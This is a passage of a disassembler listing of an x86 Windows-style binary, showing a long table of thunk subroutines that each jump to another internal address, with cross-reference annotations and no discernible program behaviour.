sub_4253C0+116p ... jmp sub_425370 sub_4013D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013D9 proc near ; CODE XREF: sub_40A9A0+20p jmp sub_40AAD0 sub_4013D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013DE proc near ; CODE XREF: sub_410030+AFDp ; sub_410030+E71p ... jmp sub_40AFA0 sub_4013DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013E3 proc near ; CODE XREF: sub_404CC0+8E9p ; sub_404CC0+8F2p ... jmp sub_40A350 sub_4013E3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013E8 proc near ; CODE XREF: ___:0042210Ap jmp sub_422640 sub_4013E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013ED proc near ; CODE XREF: sub_404690+87p ; sub_410030+9B0p ... jmp sub_40A240 sub_4013ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013F2 proc near ; CODE XREF: sub_427D50+12Ep jmp sub_41A050 sub_4013F2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013F7 proc near ; CODE XREF: sub_41E760+35Dp ; sub_41E760+3CAp ... jmp sub_421CA0 sub_4013F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4013FC proc near ; CODE XREF: sub_418DA0+7p jmp sub_4190A0 sub_4013FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401401 proc near ; CODE XREF: sub_4162C0+5Fp jmp sub_416890 sub_401401 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401406 proc near ; DATA XREF: ___:off_43F0C4o jmp sub_41B4D0 sub_401406 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40140B proc near ; CODE XREF: sub_4157B0+29p ; sub_4158D0+29p jmp sub_416380 sub_40140B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401410 proc near ; CODE XREF: sub_413E70+19Ap jmp sub_415890 sub_401410 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401415 proc near ; CODE XREF: ___:004301FFp ; ___:00430228p jmp sub_4303A0 sub_401415 endp ; --------------------------------------------------------------------------- jmp loc_42E2B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40141F proc near ; CODE XREF: ___:00416EFFp jmp sub_417F50 sub_40141F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401424 proc near ; CODE XREF: sub_41B920:loc_41B92Fp ; sub_41B920+1Fp jmp sub_41B900 sub_401424 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401429 proc near ; DATA XREF: sub_40AFA0+4o jmp sub_40B070 sub_401429 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40142E proc near ; CODE XREF: sub_403530+61p ; sub_403CE0+1Dp ... jmp sub_409BC0 sub_40142E endp ; --------------------------------------------------------------------------- jmp loc_437130 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401438 proc near ; CODE XREF: sub_418990+29p jmp sub_418C10 sub_401438 endp ; --------------------------------------------------------------------------- jmp loc_434370 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401442 proc near ; CODE XREF: ___:00433B5Dp ; sub_433CE0+20p jmp sub_433E10 sub_401442 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401447 proc near ; CODE XREF: ___:00406C23p ; ___:00416C58p ... jmp sub_406C50 sub_401447 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40144C proc near ; CODE XREF: sub_404690+370p ; sub_404690:loc_404A35p ... jmp sub_404C30 sub_40144C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401451 proc near ; CODE XREF: sub_404CC0+26Bp ; ___:0040F346p ... jmp sub_40E870 sub_401451 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401456 proc near ; CODE XREF: sub_415A60+5p jmp sub_416540 sub_401456 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40145B proc near ; CODE XREF: sub_40B600+1Dp ; ___:0040BA2Dp ... jmp sub_40BE00 sub_40145B endp ; --------------------------------------------------------------------------- jmp loc_40B6D0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401465 proc near ; CODE XREF: sub_41E760+349p ; sub_421BF0+1Ap jmp sub_421C60 sub_401465 endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40146F proc near ; CODE XREF: sub_4151C0+29p jmp sub_415CE0 sub_40146F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401474 proc near ; CODE XREF: ___:00408AEEp ; ___:00408B17p ... jmp sub_409530 sub_401474 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401479 proc near ; CODE XREF: sub_404690+30p ; sub_404690+14Bp ... jmp sub_40A7A0 sub_401479 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40147E proc near ; CODE XREF: sub_4193C0+1D8p ; sub_4193C0+1EFp jmp sub_419890 sub_40147E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401483 proc near ; CODE XREF: sub_412780+F8p jmp sub_41BD90 sub_401483 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401488 proc near ; CODE XREF: sub_413C40+E1p jmp sub_4152A0 sub_401488 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40148D proc near ; CODE XREF: sub_422B40+48p ; sub_422B40+213p ... jmp sub_426B60 sub_40148D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401492 proc near ; CODE XREF: sub_41B5B0+2Ap ; sub_41B5B0+5Ap ; DATA XREF: ... jmp sub_41A6B0 sub_401492 endp ; --------------------------------------------------------------------------- jmp loc_4323F0 ; --------------------------------------------------------------------------- jmp loc_42FBD0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014A1 proc near ; CODE XREF: sub_40EE40+EAp jmp sub_40ED00 sub_4014A1 endp ; --------------------------------------------------------------------------- jmp loc_40A7C0 ; --------------------------------------------------------------------------- loc_4014AB: ; DATA XREF: ___:off_43F078o jmp loc_40F210 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014B0 proc near ; CODE XREF: sub_40BE00+14p ; sub_40BE40+9p ... jmp sub_40C1A0 sub_4014B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014B5 proc near ; CODE XREF: sub_42C4C0+1Dp jmp sub_42C530 sub_4014B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014BA proc near ; CODE XREF: sub_41C710+4E7p ; sub_41C710+A75p ... jmp sub_41D6D0 sub_4014BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4014BF proc near ; CODE XREF: sub_4132F0+48p ; ___:0043AC97j ... jmp sub_4157B0 sub_4014BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014C4 proc near jmp sub_40AF60 sub_4014C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014C9 proc near ; DATA XREF: ___:off_43F044o jmp sub_414E10 sub_4014C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014CE proc near ; CODE XREF: ___:00427913p sub_427970j ... jmp sub_427850 sub_4014CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014D3 proc near ; CODE XREF: sub_403530+115p ; sub_404690+1B8p ... jmp sub_409C60 sub_4014D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4014D8 proc near ; CODE XREF: sub_40AD50+7p jmp sub_40AE40 sub_4014D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014DD proc near ; CODE XREF: sub_404B60+9p ; sub_404CC0+45p ... jmp sub_40A820 sub_4014DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014E2 proc near ; CODE XREF: sub_41E760+E1p ; sub_4219F0+1Ap jmp sub_421A60 sub_4014E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014E7 proc near ; CODE XREF: sub_41A210+10p ; sub_41A3B0+47p ... jmp sub_41A600 sub_4014E7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4014EC proc near ; CODE XREF: sub_407100+24p jmp sub_4072E0 sub_4014EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014F1 proc near ; CODE XREF: ___:0042C3E5p jmp sub_42C4C0 sub_4014F1 endp ; --------------------------------------------------------------------------- jmp sub_4288F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014FB proc near ; CODE XREF: ___:00416C1Bp ; ___:0043B1B6j ... jmp sub_417640 sub_4014FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401500 proc near ; CODE XREF: sub_415C20+5Fp jmp sub_416610 sub_401500 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401505 proc near ; CODE XREF: sub_4248E0+Fp ; sub_424920+1CCp ... jmp sub_424840 sub_401505 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40150A proc near ; CODE XREF: ___:004296C7p ; ___:0042978Cp ... jmp sub_40A070 sub_40150A endp ; --------------------------------------------------------------------------- jmp loc_419AB0 ; --------------------------------------------------------------------------- jmp loc_433F20 ; --------------------------------------------------------------------------- jmp loc_42FEF0 ; --------------------------------------------------------------------------- jmp loc_42FE00 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401523 proc near ; CODE XREF: sub_422050+8p jmp sub_4224A0 sub_401523 endp ; --------------------------------------------------------------------------- jmp locret_419A30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40152D proc near ; CODE XREF: sub_40CC90+1E4p ; sub_40D040+143p ... jmp sub_419A70 sub_40152D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401532 proc near ; CODE XREF: sub_418B70+3p jmp sub_418E00 sub_401532 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401537 proc near ; DATA XREF: ___:0043F1B8o jmp sub_42C830 sub_401537 endp ; --------------------------------------------------------------------------- jmp loc_433870 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401541 proc near ; CODE XREF: sub_410030+95p ; sub_4120B0+54Dp ... jmp sub_4142E0 sub_401541 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401546 proc near ; CODE XREF: sub_40B600+Bp ; ___:0040BA19p jmp sub_40BF00 sub_401546 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40154B proc near ; CODE XREF: sub_430830+1Bp ; sub_432ED0+94p jmp sub_4309A0 sub_40154B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401550 proc near ; CODE XREF: sub_421FD0+7p jmp sub_422450 sub_401550 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401555 proc near ; CODE XREF: ___:00433B4Fp ; sub_433CE0+Fp jmp sub_433E50 sub_401555 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40155A proc near ; CODE XREF: sub_418A40+29p ; sub_418B20+29p jmp sub_418CC0 sub_40155A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40155F proc near ; CODE XREF: sub_40B250+40p ; ___:00439E1Aj ... jmp sub_40BD90 sub_40155F endp ; --------------------------------------------------------------------------- jmp loc_4316A0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401569 proc near ; CODE XREF: sub_40C0D0+4p jmp sub_40C2E0 sub_401569 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40156E proc near ; CODE XREF: sub_407080+3Cp jmp sub_407230 sub_40156E endp ; --------------------------------------------------------------------------- jmp loc_41BD20 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401578 proc near ; CODE XREF: sub_4152E0+5Bp ; sub_415C20+11p ... jmp sub_415E70 sub_401578 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40157D proc near ; CODE XREF: ___:00416F8Ap jmp sub_418330 sub_40157D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401582 proc near ; CODE XREF: sub_413740+BEp ; sub_413740+FCp ... jmp sub_4151C0 sub_401582 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401587 proc near ; CODE XREF: ___:00416E9Fp jmp sub_417CC0 sub_401587 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40158C proc near ; CODE XREF: sub_4129D0+39p ; sub_412A40+A9p jmp sub_412940 sub_40158C endp ; --------------------------------------------------------------------------- jmp loc_4323C0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401596 proc near ; CODE XREF: sub_40A510+16Fp ; ___:00439D8Aj jmp sub_40A870 sub_401596 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40159B proc near ; CODE XREF: sub_404010+51p ; ___:004040B4p ... jmp sub_407100 sub_40159B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015A0 proc near ; CODE XREF: ___:00408B0Bp ; ___:00408B34p ... jmp sub_40B760 sub_4015A0 endp ; --------------------------------------------------------------------------- jmp loc_433280 ; --------------------------------------------------------------------------- jmp loc_41A280 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4015AF proc near ; CODE XREF: sub_4160C0+4p jmp sub_416710 sub_4015AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015B4 proc near ; CODE XREF: sub_409930+1Ap ; sub_409980+1Ap jmp sub_4099F0 sub_4015B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015B9 proc near ; DATA XREF: ___:0043F134o jmp sub_429330 sub_4015B9 endp ; --------------------------------------------------------------------------- jmp loc_433BE0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015C3 proc near ; CODE XREF: ___:004192A5p jmp sub_419300 sub_4015C3 endp ; --------------------------------------------------------------------------- jmp loc_4337B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015CD proc near ; CODE XREF: ___:0041D833p jmp sub_41D860 sub_4015CD endp ; --------------------------------------------------------------------------- jmp loc_4334F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015D7 proc near ; CODE XREF: sub_415420+5p jmp sub_415EA0 sub_4015D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015DC proc near ; CODE XREF: sub_418AB0+5p ; sub_418BB0+6p ... jmp sub_418DC0 sub_4015DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015E1 proc near ; CODE XREF: sub_404CC0+94Dp ; ___:00406EACp ... jmp sub_409D60 sub_4015E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015E6 proc near ; CODE XREF: ___:00416E5Fp jmp sub_406BF0 sub_4015E6 endp ; --------------------------------------------------------------------------- jmp loc_424430 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015F0 proc near ; CODE XREF: ___:00415F2Ap jmp sub_416760 sub_4015F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015F5 proc near ; CODE XREF: sub_41F030+1C7p jmp sub_420DD0 sub_4015F5 endp ; --------------------------------------------------------------------------- loc_4015FA: ; DATA XREF: ___:0043F1C0o jmp loc_42CB20 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015FF proc near ; CODE XREF: sub_4292E0+3p jmp sub_429310 sub_4015FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401604 proc near ; CODE XREF: sub_404CC0+E8Ep ; sub_40D660+120p ... jmp sub_420090 sub_401604 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401609 proc near ; CODE XREF: sub_4327B0+20p ; sub_4327B0+32p jmp sub_434960 sub_401609 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40160E proc near ; CODE XREF: ___:00432725p jmp sub_431220 sub_40160E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401613 proc near jmp sub_426C70 sub_401613 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401618 proc near ; CODE XREF: sub_4164E0+8p jmp sub_4168B0 sub_401618 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40161D proc near ; DATA XREF: ___:off_43F0ACo jmp sub_41E760 sub_40161D endp ; --------------------------------------------------------------------------- jmp loc_41ABA0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401627 proc near ; CODE XREF: sub_40AF80p ___:004313E2p jmp sub_4325F0 sub_401627 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40162C proc near ; CODE XREF: sub_407140+1Ap ; sub_418990+1Ap jmp sub_407270 sub_40162C endp ; --------------------------------------------------------------------------- jmp loc_416D90 ; --------------------------------------------------------------------------- jmp loc_430360 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40163B proc near ; CODE XREF: sub_422340+5Fp jmp sub_4226E0 sub_40163B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401640 proc near ; CODE XREF: ___:0041A30Ap jmp sub_41B160 sub_401640 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401645 proc near ; CODE XREF: sub_4327B0:loc_4327EEp jmp sub_432850 sub_401645 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40164A proc near ; CODE XREF: sub_434150+12p ; sub_4348A0+51p jmp sub_431810 sub_40164A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40164F proc near ; CODE XREF: ___:00416EAFp jmp sub_417D60 sub_40164F endp ; --------------------------------------------------------------------------- jmp loc_4314E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401659 proc near ; CODE XREF: sub_40A930+8p jmp sub_40A980 sub_401659 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40165E proc near ; CODE XREF: ___:0041301Ep jmp sub_4131B0 sub_40165E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401663 proc near ; CODE XREF: sub_430D90+ADp ; ___:004335A0p ... jmp sub_4307E0 sub_401663 endp ; --------------------------------------------------------------------------- db 0E9h ; И db 43h ; C db 0B4h ; ╢ db 2 db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40166D proc near ; CODE XREF: sub_42CB70+15Ep jmp sub_42C770 sub_40166D endp ; --------------------------------------------------------------------------- jmp loc_4068A0 ; --------------------------------------------------------------------------- jmp loc_42F640 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40167C proc near ; CODE XREF: ___:0040741Ap jmp sub_4075C0 sub_40167C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401681 proc near ; CODE XREF: sub_422750+3Cp jmp sub_422890 sub_401681 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401686 proc near ; DATA XREF: ___:0043F0C8o jmp sub_41B5B0 sub_401686 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40168B proc near ; CODE XREF: sub_403530+BBp ; ___:00406F1Dp ... jmp sub_403700 sub_40168B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401690 proc near ; CODE XREF: ___:004300A0p ; ___:0043011Ep ... jmp sub_434070 sub_401690 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401695 proc near ; CODE XREF: sub_409570+10p jmp sub_409610 sub_401695 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40169A proc near ; CODE XREF: sub_40A510+4Ap jmp sub_40A840 sub_40169A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40169F proc near ; CODE XREF: ___:00416ECFp jmp sub_40F6D0 sub_40169F endp ; --------------------------------------------------------------------------- jmp loc_4333D0 ; --------------------------------------------------------------------------- jmp loc_42F940 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016AE proc near ; CODE XREF: sub_40BFA0+9p ; sub_40C200+18p jmp sub_40C380 sub_4016AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016B3 proc near ; CODE XREF: sub_41D930+283p jmp sub_42FB70 sub_4016B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016B8 proc near ; CODE XREF: sub_403530+CCp ; sub_404690+EDp ... jmp sub_40A710 sub_4016B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016BD proc near ; CODE XREF: ___:00416EEFp jmp sub_417F20 sub_4016BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016C2 proc near ; CODE XREF: sub_4246D0+7Ep ; sub_4246D0+92p ... jmp sub_4245A0 sub_4016C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016C7 proc near ; CODE XREF: sub_412780+E0p ; sub_4138B0+CEp ... jmp sub_409F50 sub_4016C7 endp ; --------------------------------------------------------------------------- jmp loc_42F420 ; --------------------------------------------------------------------------- jmp loc_42FBA0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016D6 proc near ; CODE XREF: ___:00415169p jmp sub_415AD0 sub_4016D6 endp ; --------------------------------------------------------------------------- loc_4016DB: ; DATA XREF: ___:off_43F0ECo jmp loc_427910 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016E0 proc near ; CODE XREF: sub_4096E0+58p ; sub_4096E0+82p ... jmp sub_409930 sub_4016E0 endp ; --------------------------------------------------------------------------- jmp sub_428210 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4016EA proc near ; CODE XREF: sub_41E760+2B2p jmp sub_421BB0 sub_4016EA endp ; --------------------------------------------------------------------------- jmp loc_41AF50 ; --------------------------------------------------------------------------- jmp loc_4119B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016F9 proc near ; CODE XREF: sub_40A930+10p jmp sub_40A9A0 sub_4016F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4016FE proc near jmp sub_4364D0 sub_4016FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401703 proc near ; CODE XREF: sub_418430+7Bp ; sub_418430+C5p ... jmp sub_418BE0 sub_401703 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401708 proc near ; CODE XREF: sub_4148A0+FCp jmp sub_414A70 sub_401708 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40170D proc near ; CODE XREF: sub_41E760+D1p jmp sub_421B10 sub_40170D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401712 proc near ; CODE XREF: sub_40AF60p ; ___:loc_4313C5p jmp sub_432570 sub_401712 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401717 proc near ; CODE XREF: sub_4096E0+91p ; sub_412C90+Dp jmp sub_4098B0 sub_401717 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40171C proc near ; DATA XREF: ___:off_43F0A8o jmp sub_40C4E0 sub_40171C endp ; --------------------------------------------------------------------------- jmp loc_40AEC0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401726 proc near ; CODE XREF: sub_413A80+4Ep jmp sub_415140 sub_401726 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40172B proc near ; CODE XREF: sub_40F6D0+13Dp jmp sub_412C60 sub_40172B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401730 proc near ; CODE XREF: ___:0040F290p jmp sub_40E2F0 sub_401730 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401735 proc near ; CODE XREF: ___:00415191p jmp sub_415BA0 sub_401735 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40173A proc near ; CODE XREF: sub_428940+98p jmp sub_428AB0 sub_40173A endp ; --------------------------------------------------------------------------- jmp loc_426700 ; --------------------------------------------------------------------------- jmp loc_41AFF0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401749 proc near ; CODE XREF: sub_407140+48p ; sub_407140:loc_4071C5p jmp sub_407340 sub_401749 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40174E proc near ; CODE XREF: sub_40AEF0+2Cp ; sub_418430+8Fp ... jmp sub_40B020 sub_40174E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401753 proc near ; CODE XREF: sub_403720+2A5p ; sub_403720+2B5p ... jmp sub_403DE0 sub_401753 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401758 proc near ; CODE XREF: sub_42B8E0+7Fp ; sub_42BB00+318p jmp sub_42B6F0 sub_401758 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40175D proc near ; CODE XREF: sub_415A90+14p ; sub_415AD0+9p ... jmp sub_416630 sub_40175D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401762 proc near ; CODE XREF: sub_40B020+10p ; ___:004305B1p ... jmp sub_431470 sub_401762 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401767 proc near ; CODE XREF: ___:0040AFF4p jmp sub_4348A0 sub_401767 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40176C proc near ; CODE XREF: sub_418E80+5Fp jmp sub_419110 sub_40176C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401771 proc near ; CODE XREF: ___:0041896Cp jmp sub_418590 sub_401771 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401776 proc near ; CODE XREF: ___:00416B1Bp ; ___:00416DE3p ... jmp sub_416DC0 sub_401776 endp ; --------------------------------------------------------------------------- jmp loc_420EC0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401780 proc near ; CODE XREF: ___:00416EBFp jmp sub_417E30 sub_401780 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401785 proc near ; CODE XREF: sub_430B30+5Dp ; sub_431B00+2Cp ... jmp sub_4322D0 sub_401785 endp ; --------------------------------------------------------------------------- jmp loc_42F590 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40178F proc near ; CODE XREF: ___:00427370p jmp sub_428880 sub_40178F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401794 proc near ; CODE XREF: ___:00426757p jmp sub_426560 sub_401794 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401799 proc near ; CODE XREF: ___:00416F9Ap jmp sub_418360 sub_401799 endp ; --------------------------------------------------------------------------- jmp loc_433200 ; --------------------------------------------------------------------------- jmp loc_4301A0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017A8 proc near ; CODE XREF: ___:004292B3p sub_429310j ... jmp sub_4291E0 sub_4017A8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017AD proc near ; CODE XREF: ___:00416BCBp ; ___:00416D93p ... jmp sub_416D60 sub_4017AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017B2 proc near ; DATA XREF: ___:off_43F17Co jmp sub_42B3F0 sub_4017B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017B7 proc near ; CODE XREF: sub_431240+D7p jmp sub_432A20 sub_4017B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017BC proc near ; CODE XREF: sub_40AF60+5j ; ___:loc_4313CDp jmp sub_432670 sub_4017BC endp ; --------------------------------------------------------------------------- jmp loc_431420 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017C6 proc near ; CODE XREF: sub_4266D0+10p ; sub_4267D0+3Dp jmp sub_4267A0 sub_4017C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017CB proc near ; CODE XREF: sub_40AF80+5j ; ___:loc_4313D5p ... jmp sub_432690 sub_4017CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017D0 proc near ; DATA XREF: ___:off_43F000o jmp sub_404CC0 sub_4017D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017D5 proc near ; CODE XREF: sub_4248E0+1Ep ; sub_424920+A6p ... jmp sub_424870 sub_4017D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017DA proc near ; CODE XREF: ___:00416B8Bp ; ___:0043B234j ... jmp sub_417A60 sub_4017DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017DF proc near ; CODE XREF: sub_416220+11p ; ___:00416247p ... jmp sub_4167F0 sub_4017DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017E4 proc near ; CODE XREF: sub_415A10+3p ; ___:0041626Fp ... jmp sub_4164A0 sub_4017E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4017E9 proc near ; CODE XREF: sub_415600+6Ap ; sub_416030+32p jmp sub_415F70 sub_4017E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017EE proc near ; CODE XREF: sub_403530+DBp ; sub_404010+3Fp ... jmp 